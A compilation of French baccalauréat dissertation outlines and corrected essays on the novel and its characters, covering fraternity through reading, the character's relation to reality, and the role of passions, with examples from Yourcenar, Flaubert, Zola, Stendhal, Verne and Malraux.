Romain Gary écrit : « Le roman, c’est la fraternité : on se met dans la peau des autres ». En effet, la lecture d’un roman permet au lecteur de sortir de sa sphère individuelle et de se projeter vers les autres en s’immergeant dans la vie et les pensées de personnages fictifs. En éprouvant de la compassion pour ces derniers ou en s’identifiant à eux, le lecteur vit une expérience de fraternité et se frotte à l’altérité. S’il est vrai que le roman a pour fonction de permettre au lecteur de se mettre dans la peau des autres et de comprendre leur vie (I), nous verrons aussi que le roman est un instrument de distanciation avec les autres (II). Mais le roman ne serait-il pas finalement un moyen de s’évader de soimême et des autres ? (III)

I – Le roman permet de se mettre dans la peau de quelqu’un d’autre et de comprendre sa vie

A – L’auteur et le lecteur se mettent dans la peau du personnage en adoptant son point de vue Exemple

– Mémoires d’Hadrien, Marguerite Yourcenar : Ce roman est présenté comme une lettre de l’Empereur Hadrien à son successeur Marc-Aurèle. Par ce procédé, Marguerite Yourcenar nous fait entrer dans les pensées intimes de l’Empereur Hadrien qui livre les ressorts de son âme et nous permet de comprendre sa vision des choses.

– Marguerite Yourcenar a fait de longues recherches pour se mettre dans la peau de son personnage. Elle confie dans ses notes « L’une des meilleures manières de recréer la pensée d’un homme : reconstituer sa bibliothèque. »

B – Le lecteur se met dans la peau d’un personnage de roman en s’identifiant à lui

– Le processus d’identification aux personnages de roman permet d’approfondir l’expérience de l’altérité.

– Mémoires d’Hadrien, Marguerite Yourcenar : ce roman parcourt toute la vie d’Hadrien : sa jeunesse, sa formation, son ascension politique, l’exercice du pouvoir et l’approche de la mort. Le lecteur suit pas-à-pas le destin du personnage et découvre ses pensées. Il peut s’identifier à lui. – La compassion que le lecteur peut éprouver à l’égard d’un personnage lui permet d’expérimenter le sentiment de fraternité.

– Madame Bovary, Flaubert : Emma Bovary est une jeune femme ordinaire, rêveuse, qui croit au Prince Charmant des romans historiques et sentimentaux. Incapable de s’adapter à la vie plate et prosaïque que lui offre son mari Charles, elle souffre, prend des amants et s’endette. Le lecteur éprouve de la compassion et donc de la fraternité pour elle.

C – Le roman est un miroir de la vie sociale qui permet de comprendre la vie des autres

– Le roman réaliste fait une description objective et précise de la vie des autres et nous permet ainsi de mieux comprendre ce qu’ils vivent.

– Germinal, Zola : Emile Zola décrit avec précision les conditions de la vie ouvrière dans les mines du Nord. Les registre tragique et épique dans ce roman suscitent l’empathie et l’admiration pour les ouvriers, créant un sentiment de fraternité avec les personnages.

II – Le roman peut aussi nous distancier des autres

A – La mise à distance par l’ironie – Quand l’auteur se montre ironique vis à vis de son personnage, il nous invite à porter un regard distancié sur ce personnage. Cette ironie crée alors une complicité entre l’auteur et le lecteur, aux dépens du personnage.

Exemple : – La Chartreuse de Parme, Stendhal : Stendhal fait preuve d’une ironie affectueuse envers Fabrice Del Dongo. Emprisonné, Fabrice est émerveillé par la vue de sa cellule d’où il aperçoit Clélia dont il est amoureux. Stendhal commente ironiquement : « Notre héros se laissait charmer par les douceurs de la prison ». Il nous invite à une mise à distance avec le personnage, créant une complicité entre le narrateur et le lecteur.

B – La mise à distance par l’observation

– Pour les écrivains naturalistes, le roman est comme un laboratoire d’expérimentation scientifique qui permet de comprendre les lois qui régissent la vie humaine et la vie sociale. Le lecteur est alors un observateur.

Exemple : – Bel-Ami, Maupassant : Georges Duroy est un anti-héros médiocre, un arriviste sans scrupule qui utilise les femmes pour gravir les échelons de la société. Son ascension sociale reflète les mœurs de la société parisienne à la fin du XIXème siècle. Le lecteur ne fraternise pas avec Georges Duroy, personnage méprisable, mais il observe la société parisienne et le monde de la presse au XIXème siècle.

C – Le roman est un instrument de la connaissance de soi

– Bouvard et Pécuchet, Flaubert : les deux personnages éponymes s’expriment à travers des expressions banales qui soulignent nos préjugés. Flaubert nous invite, à travers ses personnages de fiction (c’est à dire les autres), à mieux nous connaître et à nous regarder avec un esprit critique. – Lettres Persanes, Montesquieu : Les deux persans Usbek et Rica portent un regard faussement naïf sur l’Europe pour faire ressortir le ridicule des mœurs et institutions occidentales. Le roman amène le lecteur du XVIIIème siècle à porter sur lui-même un regard libre et à se détacher des préjugés.

III – Le roman : s’évader de soi et des autres

A – Le roman, une aventure imaginaire – Le récit et le roman permettent de nous évader dans un monde imaginaire.

Exemple : – Candide, Voltaire : Ce récit nous place dans l’univers du conte. Même si par moment la fiction et le réel se rencontrent (désastre de Lisbonne de 1755, missions jésuites,…), l’exotisme de l’épisode d’Eldorado permet au lecteur de s’évader.

– La mort du roi Tsongor, Laurent Gaudé : L’histoire nous transporte dans un univers imaginaire et utopique qui fait songer aux mythiques grands royaumes africains du Moyen-Âge. Les descriptions hyperboliques et le registre merveilleux du premier chapitre ne sont pas sans faire penser à l’Eldorado de Candide.

B – Le roman comme expérience d’étrangeté visà-vis de l’autre et de soi-même Le roman peut aller jusqu’à abolir la notion même de personnage. Il crée alors un effet d’étrangeté et d’irréalité vis-à-vis des autres.

Exemple : – L’Amant, Marguerite Duras : Marguerite Duras adopte une écriture cinématographique, extérieure à la pensée des personnages. Les personnages comptent peu : c’est l’étrangeté qui domine.

– Les choses, Georges Perec : Dans les années 1960, un jeune couple parisien est obnubilé par l’idée d’acquérir des objets pour leur confort matériel. Les personnages disparaissent derrière la description des choses.

C – Le roman, la « musique » d’un auteur

– Le roman est davantage la rencontre avec la langue d’un auteur que la rencontre avec un personnage.

Exemple : – Voyage au bout de la nuit, Céline : Ce roman captive par la force de sa langue orale qui dénonce la guerre, la colonisation, le taylorisme. – Mémoires d’Hadrien, Marguerite Yourcenar : On retrouve dans ce roman la musicalité de l’écriture antique à travers une écriture très classique et des épithètes homériques. Le roman permet alors de fraterniser davantage avec la voix de l’ auteur que celle du personnage.

Conclusion : Le roman n’a pas pour unique fonction de permettre au lecteur de se mettre dans la peau des autres et de comprendre leur vie. Il permet aussi de porter un regard distancié sur le monde, sur la société et sur soi-même. Il donne enfin la possibilité de fraterniser avec une voix singulière, celle de l’auteur qui, à travers sa prose, dévoile sa « musique » intérieure et délivre sa propre vision de la vie. [Bilan et réponse à la question] Ne pourrait-on considérer dès lors que, ainsi que le disait Jean Ricardou en 1963, « le roman n’est désormais plus l’écriture d’une aventure mais l’aventure d’une écriture » ? [Ouverture]

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Le personnage de roman se construit-il exclusivement par son rapport à la réalité ?

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France métropolitaine • Juin 2017

Séries ES, S • 16 points

La découverte d'un univers fictif

Dissertation

▶ Le personnage de roman se construit-il exclusivement par son rapport à la réalité ?

Vous appuierez votre réflexion sur les textes du corpus, sur les œuvres que vous avez étudiées en classe et sur vos lectures personnelles.

Voir les textes du corpus.

Les clés du sujet

Comprendre le sujet

Le présupposé est : « Le personnage de roman se construit par son rapport à la réalité. »

« réalité » : le monde qui nous entoure (objets, phénomènes de la nature, habitudes sociales, activités de la vie…). Cela s'oppose à imaginaire, rêve, illusion, fiction, vision, idéal…

Attention  : la question est ambiguë et peut déboucher sur deux problématiques différentes.

« Se construire » dans sa forme pronominale peut prendre deux sens.

Sens actif de « se former » → Le sujet agissant est « le personnage ». La problématique est alors interne au personnage et renvoie à son évolution par confrontation à la réalité : « Le personnage doit-il se confronter à la réalité pour donner l'illusion d'exister ? »

Sens passif de « est créé » (par son auteur) → La perspective est alors externe au personnage ; vous adoptez le point de vue de l'auteur : « Pour créer un personnage de roman, l'auteur doit-il s'appuyer sur le réel ou sur l'imaginaire ? »

Les deux interprétations sont acceptables ; on peut même combiner les deux. Mais l'adjectif possessif « son » (rapport) et le texte de Duras poussent à privilégier la première : Suzanne, plongée dans un monde très réel et frustrant, s'évade dans un autre univers, imaginaire (cf. Emma Bovary) : elle existe par sa confrontation au réel et par ses rêves.

«  exclusivement  » laisse entendre qu'il faut dépasser le présupposé, qu'il y a une discussion possible  : le personnage peut se construire par d'autres éléments (le rêve notamment).

On attend un plan dialectique, au moins une forme de concession dans la réponse (bien que le personnage de roman se construise dans la réalité, il peut aussi s'en échapper).

La problématique est : « Par rapport à quoi se construit un personnage romanesque ? »

Chercher des idées

Subdivisez la problématique en sous-questions  :

Pourquoi , c omment la réalité aide-t-elle un personnage à exister, évoluer ?

En quoi, comment le rêve, l'imaginaire jouent-ils aussi ce rôle ?

Dépassement suggéré : c'est l'interaction entre réalité et rêve, la tension entre les deux qui construisent un vrai personnage romanesque plus complexe et profond.

Les exemples

Des personnages qui sont confrontés à la réalité : romans d'apprentissage, romans réalistes (Balzac), naturalistes (Maupassant, Zola)…

Des personnages qui ne s'inscrivent pas dans la réalité humaine (Rabelais) ou de déconstruction du personnage (Nouveau Roman).

Les titres en couleur et les indications entre crochets servent à guider la lecture mais ne doivent pas figurer sur la copie. Les exemples ne sont que mentionnés : il faut les développer.

Nous avons opté pour la problématique « Le personnage doit-il se confronter à la réalité pour donner l'illusion d'exister ? »

Introduction

[Amorce] Un personnage de roman emporte le lecteur dans des aventures fictives souvent péjorativement qualifiées de « romanesques », le fait rêver ; il ne semble pas entretenir de rapports avec la réalité. Ainsi, Don Quichotte, qui se construit en « rêvant sa vie », a perdu la notion du réel et prend les fameux moulins pour des chevaliers… Cependant, l'on pourrait dire, en parodiant Aragon, que « la fiction ne suffit pas à caractériser le [personnage de] roman, mais un certain rapport entre cette fiction et la réalité ». [Problématique] Par rapport à quoi se construit un personnage romanesque : à la réalité ? à l'imaginaire ? [Annonce du plan] Sa confrontation avec le réel lui donne, certes, son épaisseur, assure sa formation, le fait évoluer et « exister »  [I], mais il ne peut véritablement prendre vie que s'il nourrit des rêves et d'une vie intérieure  [II]. En fait, c'est la tension entre ses rêves et son expérience concrète du monde qui lui assure une vraie profondeur, au point que le lecteur croit à sa véritable existence.  [III].

I. L'interaction avec le réel

Le personnage de roman se structure par sa confrontation avec le réel et ses expériences forgent son caractère.

1. Les difficultés de la vie forgent le personnage

Lorsque le monde ne correspond pas à l'idée que s'en fait le personnage, son rapport à la réalité peut devenir conflictuel. Les difficultés matérielles, les catastrophes, les expériences douloureuses, les échecs affectifs et professionnels, la cruauté des hommes l'obligent à réagir et à trouver en lui des ressources pour résister et subsister , elles forgent son caractère.

Le roman d'apprentissage retrace l'évolution du personnage, qui, à la fin de son parcours, a pris de l'expérience a « appris » la vie, parce qu'il a mesuré la distance entre ses rêves et la réalité. Exemples : Julien Sorel ( Le Rouge et le Noir ), Rastignac et Vautrin ( Le Père Goriot ), Frédéric ( L'Éducation sentimentale ), Bel-Ami, Robinson Crusoé…

2. Action et réflexion face à la complexité du monde

Le personnage évolue également en expérience et en sagesse parce qu'il découvre dans la durée la complexité du monde qui l'entoure. Les romanciers, notamment naturalistes, peignent l'individu confronté au réel parfois tout au long de sa vie ou sur une période importante de son existence (exemples).

Le héros multiplie les rencontres et les relations sociales, les expériences complexes, les situations embrouillées  : cela nourrit sa réflexion, retranscrite soit dans des dialogues, souvent contradictoires, soit dans des monologues intérieurs –  stream of consciousness  – et délibérations) (exemples). Le lecteur assiste à sa progressive formation intellectuelle, culturelle, morale ou philosophique , qui passe souvent par ses désillusions. Il voit une personnalité riche et singulière se structurer.

Dans le roman autobiographique, le narrateur-personnage, qui passe par toutes les phases réelles de la vie (enfance, adolescence, âge mûr…), se structure à partir des situations réelles de chacune d'elles. La confrontation de l'esprit à la réalité rend le personnage de plus en plus complexe et intéressant (la trilogie de Vallès, Une vie de Maupassant, textes du corpus).

3. Vers l'ascension ? Vers la chute ?

Le personnage prend ainsi une consistance qui se concrétise par la trajectoire de son parcours , résultat de ses tentatives pour transformer le réel.

S'il est actif et combatif, il s'agit d'une véritable ascension qui construit une « figure » sociale, politique ou historique, qui prend une stature supérieure, devient parfois un meneur (Étienne Lantier, Germinal  ; Georges Duroy, Bel Ami). Sa confrontation à la réalité se concrétise dans ses interventions auprès de son entourage sur lequel il agit et prend de l'ascendant (discours d'Étienne) et se matérialise dans les hautes fonctions auxquelles il accède (exemples).

Il arrive aussi qu'il s'agisse d'une déchéance, d'une chute, soit à cause d'événements contraires (Gervaise chez Zola), soit parce que le personnage est déchiré par ses contradictions devant la réalité (qui se traduisent par des délibérations : Valmont des Liaisons dangereuses  ; Javert de Hugo ; cas des anti-héros).

II. La nécessité d'une vie intérieure

Cependant, se frotter à la réalité ne suffit pas pour que le personnage prenne vie et suscite l'identification du lecteur : ses rêves, ses idéaux, son imagination, sa vie intérieure et leur confrontation avec le monde le construisent.

1. L'épaisseur du personnage

Le personnage de roman est souvent un être sensible, habité par des émotions complexes, et son épaisseur tient aussi à la subtilité de son intériorité . Ses zones d'ombre, ses contradictions, ses aspirations, parfois folles et irréalisables complètent son caractère (Emma Bovary, Mme de Tourvel dans Les Liaisons dangereuses , Mathilde de la Mole dans Le Rouge et le Noir ).

L'empathie et l'attachement qu'il peut susciter chez le lecteur – qui a l'impression de voir en lui un véritable humain, son semblable – naît de la connaissance de ses blessures, de ses illusions, de ses rêves qui font partie intégrante de son identité (Julien Sorel).

2. La part nécessaire de rêve

Le lecteur attend que le personnage soit confronté, comme lui-même l'est, à la question de tout être humain  : les (mes) rêves peuvent-ils devenir réalité ?

Comme la lecture d'un roman, les moments de rêverie sont des plages de plaisir, de désir, de fuite, des respirations nécessaires qui consolent de l'amère ou désespérante réalité (Duras, Camus ; Julien Sorel…), surtout quand les rêves – « où vont se perdre tous les désespoirs » (Duras) – deviennent plus réels que… la réalité elle-même  !

Sans possibilité de rêver , l'être humain se désespère, le personnage romanesque perd de sa substance (exemples).

3. Le refus du réel

Don Quichotte ou Emma Bovary sont des personnages à part entière ; or ils refusent la réalité et vivent volontiers dans l'imaginaire, celui des romans de chevalerie pour l'un, des romans d'amour… sentimentaux pour l'autre ! Leurs illusions les éloignent du réel et c'est ce désir de s'adonner au rêve qui les définit, les caractérise et cause leur perte (mort de Don Quichotte, suicide d'Emma).

D'autres personnages, désireux de surpasser la réalité et de vivre selon des valeurs supérieures à celles du monde qui les entoure, privilégient leur rêve d'absolu  : ce sont des idéalistes qui se construisent hors de la réalité (exemples).

Enfin, d'autres se sentent étrangers, indifférents au monde réel dans lequel ils passent sans le voir vraiment ( L'Étranger ).

Paradoxalement, c'est leur marginalité par rapport au réel qui fait la consistance de ces personnages romanesques.

III. Le personnage construit par la tension entre rêve et réalité

Mais le personnage ne se construit ni à partir de la réalité ni à partir de ses rêves. C'est la tension et l'interaction entre ces deux éléments qui le font vraiment exister.

1. Ni repli sur soi ni refus du rêve…, mais les deux

Il manque une dimension à tout personnage qui ne se construit que sur une de ces composantes : le réel ou l'imaginaire. Il restera un être de papier, artificiel – fou s'il se borne à rêver, écrasé par la vie ou vidé de substance s'il ne s'appuie que sur la réalité. Toute exclusive mène au drame et le personnage n'est pas « viable », le lecteur ne peut pas s'identifier à lui (Meursault dans L'Étranger de Camus).

Il se construit en fait dans cette tension permanente entre ses rêves et son expérience du réel (exemples), leur confrontation et leur interaction sont nécessaires .

2. L'oscillation entre rêve et réalité, la perte des illusions au contact du réel

C'est l'alternance, l' oscillation entre la confrontation avec la réalité et les moments de fuite hors du monde qui non seulement nourrissent l'intrigue du roman mais enrichissent la personnalité des héros romanesques (Julien Sorel).

Ce sont aussi les instants où le personnage prend conscience que les illusions le cèdent à la réalité qui lui donnent sa profondeur, son épaisseur psychologique et le font mûrir (Mme de Clèves, Fabrice del Dongo…).

3. Le vrai personnage de roman : celui qui domine la réalité et ses rêves

Les personnages les plus intéressants  ? Ce sont ceux qui arrivent, par un effort conscient que le lecteur suit pas à pas, à analyser et à dominer à la fois le monde réel qui les entoure et leurs illusions avec leur utopie. Comme le lecteur par rapport à eux, ils arrivent à prendre de la distance par rapport à eux-mêmes et au monde (corpus : Proust, Camus) et s'expliquent à leur lecteur, leur « frère »,

L'ironie, l'humour sur soi, parfois la dérision sont les marques de cette capacité à se dédoubler et à se regarder vivre et rêver, à ne pas renoncer au monde ni à son propre jardin secret, à accepter l'antagonisme entre la réalité et les illusions (Jacques le fataliste, Gil Blas) qui font un vrai personnage de roman captivant.

Ces personnages éclairent ainsi le « cœur humain » et font appréhender des vérités humaines et existentielles. Le roman devient alors un laboratoire vivant de l'analyse de l'Homme.

Le personnage de roman est un composé de réalité et d'imaginaire, dont le dosage est complexe et a varié au cours des siècles, selon les goûts esthétiques de l'époque (romantisme versus naturalisme…). [Ouverture] Le romancier se voit lui aussi, comme ses créations, contraint de jongler avec la réalité et la fiction : « Les héros de romans naissent du mariage que le romancier contracte avec la réalité. » (Mauriac)

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Sujet bac L - Annale français 2018 - Corrigé - Dissertation


Un personnage de roman doit-il vivre des passions pour captiver le lecteur ?

Remarques préliminaires sur le sujet :

Pour réussir le sujet de dissertation, vous devez analyser rigoureusement les éléments du sujet, puis leur association afin de comprendre la problématique dans son ensemble.

  • « Un personnage de roman »  : cela renvoie à la fiction et au genre romanesque (et pas dramaturgique). Ce personnage est imaginaire, même s’il peut être inspiré par une personne réelle, ayant existé, ou même si certains personnages (secondaires) sont réels (dans le roman historique par exemple). Faites-vous une liste de personnages que vous connaissez bien, que vous avez étudiés, dans la littérature française ou étrangère : Don Quichotte, Manon Lescaut, Candide, Robinson Crusoé, Jacques le Fataliste, le jeune Werther, Madame Bovary, le Père Goriot, Bel-Ami, Dorian Gray, Jean Valjean, Charles Swan, Meursault l’étranger, Bardamu et son voyage au bout de la nuit, Aurélien, Nadja… ou servez-vous de ceux évoqués dans les extraits du corpus : Delphine, Matilde, Léonce, la Princesse de Clèves, Monsieur de Nemours, Renée…
  • « Doit-il »  : indique le caractère obligatoire.
  • « Vivre »  : la vie d’un personnage correspond à ses aventures, les péripéties qu’il subit, ses actions, les rencontres qu’il fait… Tout ce qui forge son existence depuis la situation initiale jusqu’à la situation finale.

Attention toutefois à ne pas associer « vivre » et « ressentir ».

  • « Des passions »  : à l’origine, le terme désigne « la souffrance » ( patio en latin). Par extension, il désigne une émotion vive, un amour intense. Mais le terme est maintenant utilisé dans d’autres domaines que les sentiments amoureux. La passion pour un métier, pour une activité, pour un domaine du savoir…
  • « Pour captiver »  : attirer et retenir l’attention de quelqu’un. Il y a l’idée de séduire, et de charmer également.
  • « Le lecteur »  : celui qui lit (et qui aime lire). Maurice Barrès disait que « tout livre a pour collaborateur son lecteur » . Il ne faut donc pas le négliger : il est celui qui interprète le texte.

Reformulez la problématique avec vos propres mots : Un personnage de roman doit-il vivre des passions pour captiver le lecteur ?

  • Est-il nécessaire qu’un héros vive des péripéties extraordinaires pour que le lecteur s’intéresse au roman ?
  • Faut-il que les protagonistes subissent des émotions intenses et des sensations fortes pour que le lecteur ait envie de lire le livre ?
  • Ou inversement : un livre serait-il inintéressant si les personnages ne vivaient rien de passionnant ?

Le devoir rédigé ici n’est qu’un exemple. D’autres idées pouvaient être évoquées.

Pour vous aider à visualiser le corrigé, nous allons mettre des titres aux différentes parties : vous ne devez bien sûr pas les écrire sur votre copie le jour de l’épreuve. Mais vous pouvez les noter sur votre brouillon pour vous aider à structurer vos idées.

L’introduction débute par une accroche qui amène le sujet en le situant dans un contexte afin d’aboutir à la problématique. Elle présente le sujet, montre les enjeux et permet d’annoncer le plan.

L’introduction se compose de 4 parties :

  • une présentation du sujet (ou accroche) qui permet de le contextualiser. Il convient donc de parler du personnage de roman du XVII e  à nos jours, qui est l’objet d’étude de ce sujet.

Attention aux banalités ! Évitez de commencer par « De tout temps, les romanciers… » ou « Depuis le Moyen-Âge, les personnages de roman… » ;

  • l’annonce du sujet : le sujet est recopié tel quel, introduit par une amorce. « Nous pouvons nous demander si… », « Cela nous amène à nous interroger sur… » ;
  • l’analyse de la problématique qui va reprendre votre analyse des termes du sujet et poser le problème ou reformuler la problématique ;
  • l’annonce du plan, en 2 ou 3 parties (n’annoncez pas les sous-parties).

Introduction

75 % de la population française déclare lire des romans, selon un sondage IPSOS pour le Centre National du Livre, en 2016. Il faut que ce genre soit plutôt attractif pour intéresser autant de lecteurs. Par ailleurs, le genre romanesque traite souvent du thème de la passion : le lecteur est lui-même soumis à ses propres passions et peut s’identifier aux différents personnages. C’est pourquoi nous pouvons nous interroger sur les personnages et leurs passions : un personnage de roman doit-il vivre des passions pour captiver le lecteur ? En effet, le lecteur s’intéresse souvent aux passions vécues par les personnages, mais est-ce une condition essentielle pour qu’un roman soit attrayant ? Nous montrerons tout d’abord que l'évocation des passions amoureuses est l’un des éléments-clés des romans. Puis nous verrons pourquoi la passion n’est pas le seul moteur des romans. Enfin, nous présenterons d’autres types de romans, dont le but n’est pas de mettre l’accent sur les passions, ni même sur les personnages, et qui pourtant, peuvent captiver les lecteurs.

Le développement  peut correspondre à deux types de plan :

  • le plan dialectique présente la thèse (validation : « oui, les personnages doivent vivre des passions »), l’antithèse (infirmation : « non, les personnages ne doivent pas forcément vivre des passions »), la synthèse (discussion, dépassement, autre possibilité : « plutôt que la passion… » ou « à la place des personnages… »)
  • le plan thématique présente un aspect différent de la réponse dans chaque partie (2 ou 3 parties en général).

Chaque partie présente 2 ou 3 arguments qui soutiennent l’idée générale de cette partie. Chaque argument est illustré par un exemple précis et développé. Cherchez des exemples variés : auteurs, époques…

Un exemple ne remplace pas un argument.

I. Les passions du personnage de roman captivent le lecteur : sans passion, pas d’histoire

Depuis les premiers romans du Moyen-Âge, la passion amoureuse occupe une large partie de la littérature : Tristan et Iseult ne furent que des précurseurs. Il s’agit alors de la passion dans son premier sens, celle qui fait souffrir, qui est immense et à laquelle on ne peut résister. L’amour-passion auquel les personnages succombent après avoir bu un philtre d’amour a, dans Tristan et Iseult , une forme magique qui n’est pas propre aux romans postérieurs écrits à partir du XVII e  siècle, où la part de merveilleux disparaît généralement. Pourtant, certains éléments se retrouvent dans les personnages des romans d’amour de ce siècle : la passion est souvent symbole de tragédie, de souffrance contre lesquelles le protagoniste ne peut rien. C’est le cas par exemple des personnages féminins du roman de Stendhal, Le Rouge et le Noir . Madame de Rénal sait que son amour pour Julien, le précepteur de ses enfants, n’est pas convenable et impossible : Julien n’est pas de sa condition sociale, il est plus jeune qu’elle, elle est déjà mariée. Mathilde de la Mole non plus ne peut résister à son attirance pour le jeune homme, malgré tous les prétendants de son rang. La passion amoureuse les aveugle et les conduira à leur perte.

Par ailleurs, pour captiver les lecteurs, les auteurs évoquent des situations haletantes, des rebondissements, créent du suspense. Les passions vécues par les personnages sont propres à entraîner des actions qui rendent le récit palpitant. Le lecteur partage alors les passions des personnages et trouve son intérêt dans les situations exceptionnelles qu’ils vivent. C’est le cas par exemple dans le roman de Victor Hugo, Les Misérables . Les personnages de Cosette et Marius s’aiment. Ils éprouvent une passion qui naît au jardin du Luxembourg, par hasard et se poursuivra aussi par hasard dans d’autres lieux de Paris : rue Plumet, rue de L’Homme-Armé… Les deux amoureux sont poursuivis et condamnés à se cacher : Javert surveille Jean Valjean de sa justice implacable ; Éponine Thénardier, amoureuse éconduite de Marius, est prête à l’envoyer sur la barricade ; Jean Valjean sauve Marius de la mort en s’échappant par les égouts de Paris ; Marius, sauvé, peut épouser Cosette mais dénonce Jean Valjean comme assassin, jusqu’à ce qu’il découvre la vérité de la bouche de Thénardier. Ce n’est que dans les dernières lignes du roman que la passion des deux jeunes gens triomphe, mais au détriment du grand héros qui rend l’âme. L’épopée se déroule sur presque 20 ans, avec des intrigues et des rebondissements qui mettent les passions à rudes épreuves.

II. Un personnage de roman n’a pas besoin de vivre des passions pour captiver le lecteur

La passion amoureuse n’est pas le seul moteur des romans. Il existe d’autres passions : les personnages sont parfois animés par d’autres intérêts. Ainsi, les personnages des romans de Jules Verne mènent une quête qui n’est jamais en lien direct avec l’amour. Certains romans n’ont d’ailleurs aucun personnage féminin : L’Île Mystérieuse , par exemple, présente le destin de cinq hommes qui échappent à la guerre, en ballon, et se retrouvent échoués sur une île déserte du Pacifique. Certes, dans certains romans d’aventures, les héros de Jules Verne trouvent parfois l’amour en chemin, mais ce n’est pas du tout leur objectif. Dans Le Tour du monde en 80 jours , Phileas Fogg est plus intéressé par le whist, jeu auquel il joue tous les jours au Reform Club avec ses amis, les moyens de transport et les horaires, que par Mrs Aouda. Ainsi, c’est presque avec étonnement que le lecteur découvre les sentiments du gentleman qui accepte d’épouser la jeune femme. Tout l’intérêt du roman repose sur la réussite ou non du pari fou du héros et sur son flegme légendaire, en toutes circonstances. Même son mariage fut finalement au service de son pari fou : c’est parce qu’il accepte d’épouser Mrs Aouda qu’il découvre qu’il a 24 heures d’avance et a pu faire le tour du monde en 80 jours.

Il est donc à noter qu’un héros moins passionné peut être tout aussi intéressant, voire plus, pour certains lecteurs qui se sentiront alors plus en concordance avec lui. Pour rendre un personnage exceptionnel, il n’est pas nécessaire non plus qu’il vive des passions : il peut séduire par les actions qu’il mène et les valeurs qu’il incarne. C’est le cas par exemple des personnages de La Condition humaine , roman de Malraux. Les personnages sont un groupe de révolutionnaires communistes qui préparent une insurrection à Shanghai, contre le gouvernement. Kyo est le chef du groupe. Idéaliste, il meurt pour ses idées après son arrestation. C’est le cas également de Tchen qui mène un attentat-suicide contre la voiture de Chang-Kaï-Chek qui n’était finalement pas dans le véhicule. C’est également l’idéalisme qui a poussé Katow à rejoindre le groupe. Arrêté et emprisonné lui aussi, il refuse la fin que vit Kyo en se suicidant au cyanure : il préfère affronter la torture et donne sa capsule à d’autres prisonniers. Le roman, bien que fondé sur des personnages mus par des convictions politiques, a captivé malgré tout les lecteurs et reçu le prix Goncourt en 1933.

III. D’autres types de romans, d’autres types de personnages

Certains romans ont été écrits pour mener une véritable étude des mœurs ou des caractères. C’est le car par exemple de l’entreprise de Balzac avec sa Comédie humaine . Il veut faire une « histoire naturelle de la société ». Il mène alors trois grandes études sociologiques : une étude des mœurs, une étude analytique et une étude philosophique. L’ensemble comporte près de 90 ouvrages au total. Balzac souhaite avant tout peindre le réel et la société de son temps. Ainsi, dans La Peau de chagrin , le jeune Raphaël de Valentin désire tout : le succès, la richesse, les femmes. Sans le sou et près à se suicider, il hérite pourtant d’une incroyable fortune suite à un pacte démoniaque par l’intermédiaire d’une peau de chagrin. Ayant tout obtenu, c’est pourtant reclus et seul qu’il tente de survivre encore quelques jours, quelques heures… et finit par mourir seul, amer, et n’ayant rien fait de sa fortune ni de sa vie. Le roman offre au lecteur à réfléchir : peut-on satisfaire tous nos désirs ? L’œuvre se trouve à mi-chemin entre l’étude de mœurs et l’étude philosophique et n’a pas pour but de présenter les passions du personnage pour captiver le lecteur.

Le XX e  siècle et le Nouveau Roman vont aller beaucoup plus loin. La position du narrateur est remise en question. L’intrigue et le personnage en tant que tels sont rejetés. Ils sont placés au second plan ; ce qui importe, c’est l’écriture. On se retrouve avec des personnages nommés par leur initiales, comme dans La Jalousie de Robbe-Grillet, publié en 1957, où A…, personnage féminin, n’est jamais nommée. Le lecteur ne sait rien sur elle : pas de nom, pas d’âge, rien. C’est ce que Sarraute appelle « supprimer les points de repères » et « dépersonnaliser ses héros » dans son essais sur le (Nouveau) roman, L’Ère du soupçon . On en arrive même à avoir le lecteur pour personnage principal. C’est ce que propose le roman Si par une nuit d’hiver un voyageur d’Italo Calvino, publié en 1979. Vous, lecteurs et lectrices, devenez le principal personnage du roman. Appartenant au courant post-moderniste, Calvino, ayant fait un passage par le courant de l’OULIPO, met en avant les mécanismes du rapport entre le lecteur et le roman. Le lecteur s'engage alors dans une nouvelle quête, celle d’un manuscrit. Il devient un personnage qui enquête sur la construction du roman. Par mises en abîme, cette quête du lecteur, qui est le récit-cadre, est entrecoupée d'incipits de romans dont on ne connaît jamais la fin. Le roman bascule, d’un chapitre à l’autre, entre du texte (une histoire construite) et du métatexte (des commentaires relatifs à l’histoire). Le personnage n’a plus du tout une place majeure, à peine une existence évoquée, et on en oublie qu’il peut avoir des passions. Ce qui captive le lecteur, c’est le lecteur lui-même.

La conclusion propose un bilan du devoir. Il s’agit de reformuler les idées essentielles. Puis vous devez proposer une ouverture vers une autre problématique. Soignez votre conclusion : c’est la dernière chose que votre correcteur lira et vous devez lui laisser une bonne impression.

Conclusion 

Nous l’avons vu, les passions amoureuses des personnages de roman captivent le lecteur : elles sont à l’origine d’une majorité de textes et plébiscitées par la plupart des auteurs depuis les débuts du roman au Moyen-Âge. Au-delà des passions amoureuses, les auteurs ont travaillé aussi la psychologie et le caractère de leurs personnages afin d’intéresser le lecteur : les passions ne sont pas seulement amoureuses. Et certaines intrigues de romans sont fondées sur bien d’autres éléments que les personnages et leurs passions. Pour autant, le lecteur reste captivé. Ce que nous avons mis à jour avec le roman ici est tout à fait transposable au genre du théâtre. Les personnages vivent également des passions amoureuses qui font l’objet des principales intrigues en matière de dramaturgie. En déplaçant la problématique du roman au théâtre, nous pourrions alors nous demander si le personnage de théâtre doit vivre lui aussi des passions pour captiver, non plus le lecteur, mais plutôt le spectateur.

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Dissertation Sur Le Roman: Dans quelle mesure le personnage de roman donne-t-il au lecteur un accès privilégié à la connaissance du cœur humain ?

Par anonymous11   •  12 Avril 2015  •  2 117 Mots (9 Pages)  •  4 841 Vues

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Accueil › Annales corrigées › Le personnage de roman donne-t-il au lecteur un accès privilégié à la connaissance du cœur humain ? ›

Le personnage de roman donne-t-il au lecteur un accès privilégié à la connaissance du cœur humain ?

Annales corrigées : dissertationFrançais1re ES1re L1re SLa dissertation littéraireLe roman et ses personnages : visions de l'homme et du mondeInédit2011

Dissertation

> Dans quelle mesure le personnage de roman donne-t-il au lecteur un accès privilégié à la connaissance du cœur humain ?

Vous répondrez à cette question dans un développement argumenté en vous appuyant sur les textes du corpus, ceux que vous avez étudiés en classe et vos lectures personnelles.

Se reporter aux textes du corpus.

Comprendre le sujet

Analysez précisément le sens des mots :

« cœur humain » : vie affective, émotions, sentiments, personnalité ;

« accès » (sens figuré) suggère d’analyser comment le personnage éclaire le cœur humain, et donc d’étudier les moyens spécifiques dont dispose le roman pour le faire ;

